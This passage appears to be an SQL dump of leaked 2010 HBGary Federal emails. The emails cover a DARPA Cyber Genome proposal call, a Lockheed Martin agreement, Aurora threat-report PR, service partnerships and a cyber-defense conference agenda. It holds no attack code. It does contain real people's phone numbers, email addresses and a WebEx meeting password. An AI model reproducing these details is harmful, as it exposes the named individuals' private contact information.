-------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=140157352&tollFree=0   Access code:572 154 947   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=140157352&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=M3OdlnFc7q-e4Ybyy7VbErD4JDP2YoTb0tLAa5GthYM=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com      ',6180,'aaron_hbgary_com/6180.html'),(2079,'2010-02-05','\"Aaron Barr\" <messenger@webex.com>','/aaron@hbgary.com/new/1297000900.M989605P3547Q2079.eml','aaron@hbgary.com','(Forward to attendees) Meeting invitation: DARPA Cyber Genome BAA','**** You can forward this email invitation to attendees ****   Hello ,   Aaron Barr invites you to attend this online meeting.   Topic: DARPA Cyber Genome BAA  Date: Friday, February 5, 2010  Time: 2:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 572 154 947  Meeting Password: genom3    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=140157352&UID=0&PW=NNmQwOWI0OGVk&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: genom3  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=140157352&UID=0&PW=NNmQwOWI0OGVk&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=140157352&tollFree=0   Access code:572 154 947   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   aaron@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=140157352&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=uDGmXJ1OPxpUYbXrF3sDZ7ssvG6SJnYIDXxXfsHSPXk=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',6340,'aaron_hbgary_com/6340.html'),(2080,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000901.M177700P3547Q2080.eml','\"message\" <message@webex.com>','Event accepted: Meeting scheduled: DARPA Cyber Genome BAA','Aaron Barr has accepted your iCal event invitation to the event: Meeting scheduled: DARPA Cyber Genome BAA, scheduled for February 5, 2010 at 2:00 PM (Eastern Standard Time).',3487,'aaron_hbgary_com/3487.html'),(2081,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000901.M392112P3547Q2081.eml','\"Junod, Michael F\" <michael.f.junod@lmco.com>,\"Junod, Michael F\" <michael.f.junod@lmco.com>,,,','Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','Topic: DARPA Cyber Genome BAA&nbsp;Date: Friday, February 5, 2010&nbsp;Time: 2:00 pm, Eastern Standard Time (New York, GMT-05:00)&nbsp;Meeting Number: 572 154 947&nbsp;Meeting Password: genom3&nbsp;-------------------------------------------------------&nbsp;To join the online meeting (Now from iPhones too!)&nbsp;-------------------------------------------------------&nbsp;1. Go to&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=140157352&amp;UID=0&amp;PW=NNmQwOWI0OGVk&amp;RT=MiMxMQ%3D%3D&nbsp;2. Enter your name and email address.&nbsp;3. Enter the meeting password: genom3&nbsp;4. Click \"Join Now\".&nbsp;To view in other time zones or languages, please click the link:&nbsp;https://hbgary.webex.com/hbgary/j.php?ED=140157352&amp;UID=0&amp;PW=NNmQwOWI0OGVk&amp;ORT=MiMxMQ%3D%3D&nbsp;-------------------------------------------------------&nbsp;To join the audio conference only&nbsp;-------------------------------------------------------&nbsp;Call-in toll number (US/Canada): 1-408-792-6300&nbsp;Global call-in numbers:&nbsp;https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=140157352&amp;tollFree=0&nbsp;Access code:572 154 947&nbsp;AaronOn Feb 4, 2010, at 5:10 PM, Junod, Michael F wrote:Aaron,&nbsp;That time will work for us, do you want to call me at 856-792-9768 at 2:00?&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, February 04, 2010 4:42 PMTo:&nbsp;Junod, Michael FCc:&nbsp;Ted Vera; Bob SlapnikSubject:&nbsp;Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;How about tomorrow afternoon, say about 2pm EST?Aaron&nbsp;On Feb 4, 2010, at 12:08 PM, Junod, Michael F wrote:Aaron,&nbsp;When would you be available for discussions?&nbsp;Mike JunodManager, Advanced Concepts Laboratory&nbsp;&nbsp; Lockheed Martin&nbsp; Advanced Technology Laboratories (ATL)&nbsp; 3 Executive Campus, Suite 600&nbsp; Cherry Hill, NJ 08002&nbsp;&nbsp; Email:&nbsp;mjunod@atl.lmco.com&nbsp; Voice: (856) 792-9768&nbsp; Mobile: (215) 519-4253&nbsp;From:&nbsp;Korinok, Andrea (N-ATL)&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 1:58 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Miksch, Daniel J; Junod, Michael FSubject:&nbsp;RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;Mr. Barr,&nbsp;Attached is our fully executed agreement. Please note that I inserted today’s date below your title line, as this was missing in the partially executed .pdf version that you sent to me.&nbsp;If you have any questions or concerns, please feel free to contact me.&nbsp;Regards,Andrea KorinokBusiness Operations &amp;&nbsp;Legal Support SpecialistLockheed Martin / Advanced Technology Laboratories3 Executive Campus, Suite 600Cherry Hill,&nbsp;NJ&nbsp;08002Phone: (856) 792-9707Fax: (856) 792-9910Email:&nbsp;andrea.korinok@lmco.com&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:45 AMTo:&nbsp;Korinok, Andrea (N-ATL)Subject:&nbsp;Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4490,'aaron_hbgary_com/4490.html'),(2082,'2010-02-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000901.M570240P3547Q2082.eml','\"Aaron Barr\" <aaron@hbgary.com>','I found the DARPA doc online','-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',10386,'aaron_hbgary_com/10386.html'),(2083,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000901.M752545P3547Q2083.eml','\"Greg Hoglund\" <greg@hbgary.com>','Aurora Report','EndGame has a copy now.  I will check with them later in the day to see when we can get some information.  I sent you the meat of the Endgames report.  There are a few pages in the front which talk about country information.  I think most of that you can get from wikipedia and freedom of speech sites.  The appendix is about 1/2 of the report, enumerating particular hosts, web apps, etc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3367,'aaron_hbgary_com/3367.html'),(2084,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000901.M930130P3547Q2084.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Aurora Report','Karen,\r\n\r\nI would like to get your thoughts on the release of the report and any PR that might be beneficial.  I understand the report itself (although great) is a difficult thing to put a marketing/pr initiative on.  But maybe what the report represents.  This is a different way at looking at attacks, focusing on the operations and the threats and delivering the actionable intelligence necessary to protect the enterprise.  Clear and direct actionable intelligence.  HBGary is focused on delivering the threat intelligence that is necessary not just to protect against a single attack vector but to raise the overall awareness and security posture of the enterprise.  This report represents a fundamentally different way at looking at cyber security, who are the players, what mechanisms do they use, where are they coming from, why are they attacking (intent), how do they operate.\r\n\r\nIn this vein we are looking to partner with complementary technologies to improve our capability to deliver all the threat intelligence necessary to improve security, the first announced partnership was with Palantir.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4193,'aaron_hbgary_com/4193.html'),(2085,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000902.M118110P3547Q2085.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Wanting to confirm time','Phil,Is there a time before our meeting next week to talk on the phone. &nbsp;I would like to get some initial information from you on PwC, Foundstone, ISec. &nbsp;Initial conversation about service offerings, etc. &nbsp;I want to start putting this together and going to start talking with some of these companies to bring on to help with some of the work.AaronOn Feb 2, 2010, at 2:18 PM, Phil Wallisch wrote:Penny said we should link up on the phone to talk IR.&nbsp; The best number to reach me is the IP phone x115On Tue, Feb 2, 2010 at 1:18 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nYep that\'s what I envisioned.\r\nOn Tue, Feb 2, 2010 at 12:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nPhil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time. &nbsp;A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome. &nbsp;Then we will discuss what HBGary Federal is focused on for services.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8971,'aaron_hbgary_com/8971.html'),(2086,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000903.M325038P3547Q2086.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>','Take a look at this','Hi Mike,\r\n\r\nWanted to get your comments.  We still have a little bit of information to put in here but it is starting to look good.  We are focused on delivering a fundamentally different capability.  Rather than report on vehicles of an attack which change by the minute.  We are going to develop these threat/operations intelligence reports on particular threat and/or operations.  As we add in more partner data we will fill even more of the picture out.\r\n\r\nWe are going up to talk with NSA about Digital DNA in the next few weeks.  I am wondering if Google would be interested in working with us.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',6495,'aaron_hbgary_com/6495.html'),(2087,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000903.M682122P3547Q2087.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Data Fusion and Visualization for Dynamic Cyber Defense','I don\'t...man I have been slammed. &nbsp;I will give you a call today.AaronOn Feb 2, 2010, at 2:44 PM, Masterson, Brian (Xetron) wrote:Do you know about this?&nbsp;&nbsp;From:&nbsp;National Security Cyberspace Institute [mailto:larry.mckee@nsci-va.org]&nbsp;Sent:&nbsp;Monday, February 01, 2010 10:04 AMTo:&nbsp;National Security Cyberspace InstituteSubject:&nbsp;Data Fusion and Visualization for Dynamic Cyber Defense&nbsp;**********Security in the CloudsJoin AFEI members and guests for this unique perspective on Data Fusion and Visualization for a Dynamic Cyber Defense, Feb. 11 in Old Towne Alexandria, Va. The conference objective is to bring into focus the intersection of security and cloud computing. This is your opportunity to engage with senior veteran executives in a cross-agency dialogue amongst Federal Cyber Operations Centers on cyber intelligence data visualization and fusion. Seating is limited. Early registration rates are good through Monday, Jan. 11. For more information, visit&nbsp;www.afei.org&nbsp; //http://www.afei.org/events/0A02/Pages/default.aspx&nbsp;.***********&nbsp;Data Fusion and Visualization for Dynamic Cyber DefenseThe purpose of this conference is to continue and expand the dialogue begun at two earlier AFEI events: a half-day seminar on Government Cloud Computing which identified the need for brutal standardization and the opportunity for enhanced security in cloud computing environments; and a Cyber Security Data Fusion and Visualization Roundtable for cyber operations personnel from 11 Federal Departments and Agencies that began a cross-agency dialogue among Federal Cyber Operations Centers on cyber intelligence data visualization and fusion.The objective of the conference is to bring into focus the intersection of security and cloud computing.&nbsp; Questions to be addressed during the day include:&nbsp;Can a cloud environment be designed to be more secure than current network environments;How can organizations become more predictive and less reactive in CND;How and to what extent analysis can be automated;How to integrate disparate data;How to link cyber events to business and mission;What sources of intelligence can be brought to bear; andWhat extant obstacles to information sharing for shared situational awareness need to be overcome?Agenda&nbsp;8:30&nbsp;AM&nbsp;Opening and WelcomeConference Chair - Mark Fedak, Risk DefenseKeynote Presentations&nbsp;&lt;image001.jpg&gt;&nbsp;Government Keynote:&nbsp;Mr. Steve Shirley, Executive Director, Department of Defense Cyber Crime Center&nbsp;&nbsp;&nbsp;&nbsp;&lt;image002.jpg&gt;&nbsp;Industry Keynote:Thomas Fuhrman, Senior Vice President, Booz Allen Hamilton specializing in cyber and information assurance support for the U.S. Department of Defense&nbsp;10:00 AM&nbsp;- Networking Break10:30 AM&nbsp;-&nbsp;Panel: Secure Clouds for Dynamic DefenseWill clouds provide the ability to support executive, analytic, compliance and information assurance requirements?&nbsp;&nbsp;&nbsp;&nbsp;Moderator:&nbsp;&nbsp;John McLaughlin,&nbsp;Deputy CTO - Security,&nbsp;IBM Federal&nbsp;&nbsp;&nbsp;Panel&nbsp;Patrick Stingley, CTO, Bureau of Land ManagementDavid S. Linthicum,&nbsp;author of “Cloud Computing and SOA Convergence”J P Morgenthal,&nbsp;Senior Principal Architect, QinetiQ North America12:00 PM - Lunch1:15 PM - Panel:&nbsp;Visualization of Cyber Operations InformationMaking data accessible and understandable by users and analysts&nbsp;&nbsp;&nbsp;Moderator:&nbsp; Mark Fedak, RiskDefensePanel&nbsp;COL Steve McPherson, USAF,&nbsp;Senior Strategy Advisor Cyber-Command, US Coast GuardThomas Lam, OASD(NII)/DoD CIO Lead for Enterprise Ops &amp; Cyber SecurityDaniel Blum, Senior VP &amp; Principal Analyst, Burton Group2:45 PM - Networking Break3:15 PM - Panel: Fusing Data and AnalyticsBetter security postures and rapid response to computer security threats, vulnerabilities, and incidents.&nbsp;&nbsp;&nbsp;Moderator:&nbsp; Mark Fedak, RiskDefensePanel&nbsp;Bill Eber, Director, Defense Cyber Crime InstituteKevin Bingham, ASD(NII)/DASD(CIIA) (Invited)LtCol Joe Wolfkiel, USAF, Director,&nbsp;CND R&amp;T PMO, NSAGary Elliott, NSA 4011 Information Assurance, Chief Information Assurance Officer&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8610,'aaron_hbgary_com/8610.html'),(2088,'2010-02-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000903.M882358P3547Q2088.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Data Fusion and Visualization for Dynamic Cyber Defense','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem.&nbsp; I sent you a bunch of emails yesterday.&nbsp; Call when\r\nyou have time.\r\n\r\nHope you are slammed in a good way.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 05, 2010 10:28 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Data Fusion and Visualization for Dynamic Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI don\'t...man I have been slammed. &nbsp;I will give you a\r\ncall today.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 2, 2010, at 2:44 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you know about this?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;National Security\r\nCyberspace Institute [mailto:larry.mckee@nsci-va.org]&nbsp;\r\nSent:&nbsp;Monday, February 01,\r\n2010 10:04 AM\r\nTo:&nbsp;National Security\r\nCyberspace Institute\r\nSubject:&nbsp;Data Fusion and\r\nVisualization for Dynamic Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n**********\r\n\r\n\r\n\r\n\r\n\r\nSecurity\r\nin the Clouds\r\n\r\n\r\n\r\n\r\n\r\nJoin\r\nAFEI members and guests for this unique perspective on Data Fusion and Visualization\r\nfor a Dynamic Cyber Defense, Feb. 11 in Old Towne Alexandria, Va. The\r\nconference objective is to bring into focus the intersection of security and\r\ncloud computing. This is your opportunity to engage with senior veteran\r\nexecutives in a cross-agency dialogue amongst Federal Cyber Operations Centers\r\non cyber intelligence data visualization and fusion. Seating is limited. Early\r\nregistration rates are good through Monday, Jan. 11. For more information,\r\nvisit&nbsp;www.afei.org&nbsp;\r\n//http://www.afei.org/events/0A02/Pages/default.aspx&nbsp;.\r\n\r\n\r\n\r\n\r\n\r\n***********\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nData Fusion and Visualization for Dynamic Cyber Defense\r\n\r\n\r\n\r\nThe purpose of this\r\nconference is to continue and expand the dialogue begun at two earlier AFEI\r\nevents: a half-day seminar on Government Cloud Computing which identified the\r\nneed for brutal standardization and the opportunity for enhanced security in\r\ncloud computing environments; and a Cyber Security Data Fusion and\r\nVisualization Roundtable for cyber operations personnel from 11 Federal\r\nDepartments and Agencies that began a cross-agency dialogue among Federal Cyber\r\nOperations Centers on cyber intelligence data visualization and fusion.\r\n\r\nThe objective of the\r\nconference is to bring into focus the intersection of security and cloud\r\ncomputing.&nbsp; Questions to be addressed during the day include:&nbsp;\r\n\r\n\r\n Can a cloud\r\n     environment be designed to be more secure than current network\r\n     environments;\r\n How can\r\n     organizations become more predictive and less reactive in CND;\r\n How and to what\r\n     extent analysis can be automated;\r\n How to\r\n     integrate disparate data;\r\n How to link\r\n     cyber events to business and mission;\r\n What sources of\r\n     intelligence can be brought to bear; and\r\n What extant\r\n     obstacles to information sharing for shared situational awareness need to\r\n     be overcome?\r\n\r\n\r\nAgenda&nbsp;\r\n\r\n8:30&nbsp;AM&nbsp;Opening and Welcome\r\n\r\nConference Chair - Mark Fedak, Risk Defense\r\n\r\nKeynote Presentations\r\n\r\n\r\n \r\n  \r\n  \r\n  &nbsp;&lt;image001.jpg&gt;\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  Government Keynote:&nbsp;\r\n  Mr. Steve Shirley, Executive Director, Department of Defense Cyber Crime\r\n  Center\r\n  \r\n \r\n \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  &nbsp;&lt;image002.jpg&gt;\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  Industry Keynote:\r\n  Thomas Fuhrman, Senior Vice President, Booz Allen Hamilton\r\n  specializing in cyber and information assurance support for the U.S.\r\n  Department of Defense\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n10:00 AM&nbsp;-\r\nNetworking Break\r\n\r\n10:30 AM&nbsp;-&nbsp;Panel:\r\nSecure Clouds for Dynamic Defense\r\n\r\n\r\n \r\n  \r\n  Will clouds provide the ability to support executive,\r\n  analytic, compliance and information assurance requirements?&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Moderator:&nbsp;&nbsp;John\r\n  McLaughlin,&nbsp;Deputy CTO - Security,&nbsp;IBM Federal&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Panel\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n   Patrick\r\n       Stingley,\r\n       CTO, Bureau of Land Management\r\n   David S.\r\n       Linthicum,&nbsp;author of\r\n       &#8220;Cloud Computing and SOA Convergence&#8221;\r\n   J P\r\n       Morgenthal,&nbsp;Senior\r\n       Principal Architect, QinetiQ North America\r\n  \r\n  \r\n \r\n\r\n\r\n12:00 PM - Lunch\r\n\r\n1:15 PM - Panel:&nbsp;Visualization of Cyber Operations\r\nInformation\r\n\r\n\r\n \r\n  \r\n  Making data accessible and understandable by users and\r\n  analysts&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Panel\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n   COL Steve\r\n       McPherson,\r\n       USAF,&nbsp;Senior\r\n       Strategy Advisor Cyber-Command, US Coast Guard\r\n       Thomas\r\n       Lam,\r\n       OASD(NII)/DoD CIO Lead for Enterprise Ops &amp; Cyber Security\r\n   Daniel Blum, Senior VP\r\n       &amp; Principal Analyst, Burton Group\r\n  \r\n  \r\n \r\n\r\n\r\n2:45 PM - Networking Break\r\n\r\n3:15 PM - Panel: Fusing Data and Analytics\r\n\r\n\r\n \r\n  \r\n  Better security postures and rapid response to computer\r\n  security threats, vulnerabilities, and incidents.&nbsp;&nbsp;&nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Moderator:&nbsp; Mark Fedak,\r\n  RiskDefense\r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Panel\r\n  \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  \r\n   Bill Eber, Director,\r\n       Defense Cyber Crime Institute\r\n   Kevin Bingham,\r\n       ASD(NII)/DASD(CIIA) (Invited)\r\n   LtCol Joe\r\n       Wolfkiel,\r\n       USAF, Director,&nbsp;CND R&amp;T PMO, NSA\r\n   Gary Elliott, NSA 4011\r\n       Information Assurance, Chief Information Assurance Officer\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14026,'aaron_hbgary_com/14026.html'),(2089,'2010-02-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000904.M284214P3547Q2090.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: I found the DARPA doc online','give me a call.On Feb 5, 2010, at 9:47 AM, Bob Slapnik wrote:-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8690,'aaron_hbgary_com/8690.html'),(2090,'2010-02-05','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000904.M539793P3547Q2091.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Wanting to confirm time','Monday at 15:00?On Fri, Feb 5, 2010 at 10:06 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPhil,Is there a time before our meeting next week to talk on the phone.  I would like to get some initial information from you on PwC, Foundstone, ISec.  Initial conversation about service offerings, etc.  I want to start putting this together and going to start talking with some of these companies to bring on to help with some of the work.\r\nAaronOn Feb 2, 2010, at 2:18 PM, Phil Wallisch wrote:Penny said we should link up on the phone to talk IR.  The best number to reach me is the IP phone x115\r\nOn Tue, Feb 2, 2010 at 1:18 PM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nYep that&#39;s what I envisioned.\r\nOn Tue, Feb 2, 2010 at 12:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nPhil,\r\n\r\nThe time for the meeting today is 4-5pm MST, 6-7pm your time.  A standard demo of HBGary capabilities, discussing Responder, Recon, our enterprise solutions, DDNA, Malware Genome.  Then we will discuss what HBGary Federal is focused on for services.\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',229,'aaron_hbgary_com/229.html'),(2091,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000904.M727379P3547Q2092.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Aurora Report',' \r\nWe have a palantir investigation started on one malware author who was using the same exploit that aurora uses, but his malware is not the same as the one used in aurora.  I am wondering if we can salvage that data for the report in any way, perhaps redact the names and show the screenshot nonetheless, as to advertise capability more than present aurora-specific intelligence.  Obviosly this isn&#39;t as ideal as having data on aurora itself.  Thoughts?\r\n\r\n \r\n-Greg\r\nOn Fri, Feb 5, 2010 at 7:05 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nKaren,I would like to get your thoughts on the release of the report and any PR that might be beneficial.  I understand the report itself (although great) is a difficult thing to put a marketing/pr initiative on.  But maybe what the report represents.  This is a different way at looking at attacks, focusing on the operations and the threats and delivering the actionable intelligence necessary to protect the enterprise.  Clear and direct actionable intelligence.  HBGary is focused on delivering the threat intelligence that is necessary not just to protect against a single attack vector but to raise the overall awareness and security posture of the enterprise.  This report represents a fundamentally different way at looking at cyber security, who are the players, what mechanisms do they use, where are they coming from, why are they attacking (intent), how do they operate.\r\nIn this vein we are looking to partner with complementary technologies to improve our capability to deliver all the threat intelligence necessary to improve security, the first announced partnership was with Palantir.\r\nThoughts?\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',8077,'aaron_hbgary_com/8077.html'),(2092,'2010-02-05','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000904.M930226P3547Q2093.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Services','Aaron, I want to include a concise description of the federal services offering on the back of the report.  Is there any way to highlight the vast years of experience our partners bring to the table, the kinds of incidents they are experts at, etc?\r\n\r\n \r\n-Greg\r\nOn Fri, Feb 5, 2010 at 6:01 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am going to talk with Shane today.  I haven&#39;t received a phone call yet from your PoC at Foundstone.  Also going to sit down with Phil next week.  We have our initial rates already put together for the different labor categories.  Also have a two requisitions going out today for incident response and malware analysis.\r\nMantech yesterday mentioned wanting to bring our tools and services into their CERT (DOJ, DIA).So as we discussed first thing is to get a few of the existing service providers on as subs and then work our own labor force as we get them in.  This allows Ted and myself to become proficient at managing IR contracts as well.\r\nAny information from ISec?Aaron BarrCEOHBGary Federal Inc.\r\n',15241,'aaron_hbgary_com/15241.html'),(2093,'2010-02-05','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297000904.M98865P3547Q2089.eml','\"Aaron Barr  (aaron@hbgary.com)\" <aaron@hbgary.com>','Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nInterestingly I just got a call on my cell phone from a\r\ngentleman from PWC.&nbsp; Strange, huh?&nbsp; I gave him your contact\r\ninformation.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI am very interested in having a discussion with you about\r\nQosmos NI technology.&nbsp; Can we meet late next week?&nbsp; Thursday 